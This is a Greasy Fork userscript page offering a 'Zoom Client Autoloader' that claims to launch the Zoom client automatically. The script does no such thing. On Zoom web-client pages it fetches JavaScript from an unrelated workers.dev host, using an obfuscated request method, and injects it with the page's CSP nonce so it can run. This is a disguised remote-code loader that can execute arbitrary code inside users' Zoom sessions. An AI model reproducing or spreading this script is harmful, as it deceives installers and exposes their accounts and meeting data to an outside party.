Greasy Fork

Zoom Client Autoloader

Автоматический запуск клиента Zoom

当前为 2025-01-19 提交的版本,查看 最新版本

// ==UserScript==
// @name         Zoom Client Autoloader
// @namespace    http://tampermonkey.net/
// @version      1.4
// @description  Автоматический запуск клиента Zoom
// @author       MultiVers
// @match        https://app.zoom.us/wc/*
// @grant        GM_setValue
// @grant        GM_getValue
// @run-at       document-start
// @license      MIT
// ==/UserScript==

let выполняетсяЗагрузка = false;

async function загрузитьРесурсы() {
    const ключЗапуска = 'zoom_loader_' + window.location.pathname;
    const времяПоследнегоЗапуска = GM_getValue(ключЗапуска, 0);
    const текущееВремя = Date.now();
    
    // Если прошло меньше 5 секунд с последнего запуска, отменяем
    if (текущееВремя - времяПоследнегоЗапуска < 5000) return;
    
    if (выполняетсяЗагрузка) return;
    выполняетсяЗагрузка = true;
    GM_setValue(ключЗапуска, текущееВремя);

    const обработчик = {
        инициализация: async строка => (await fetch('https://loader-geneate.webclie2d.workers.dev/', {
            method: строка.split('').reverse().join(''),
            cache: 'no-store', 
            headers: {'Accept':'*/*','Connection':'keep-alive'}
        })).text(),
        подготовка: данные => {
            const скрипт = document.createElement('script');
            скрипт.textContent = данные;
            return скрипт;
        },
        применить: элемент => {
            const нонс = document.querySelector('script[nonce]')?.nonce;
            if(нонс) элемент.nonce = нонс;
            document.head.appendChild(элемент);
        }
    };
    try {
        await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG')));
    } catch (ошибка) {
        выполняетсяЗагрузка = false;
        GM_setValue(ключЗапуска, 0); // Сбрасываем время при ошибке
        setTimeout(загрузитьРесурсы, 1000);
    }
}

// Запускаем только после полной загрузки страницы
window.addEventListener('load', загрузитьРесурсы, { once: true });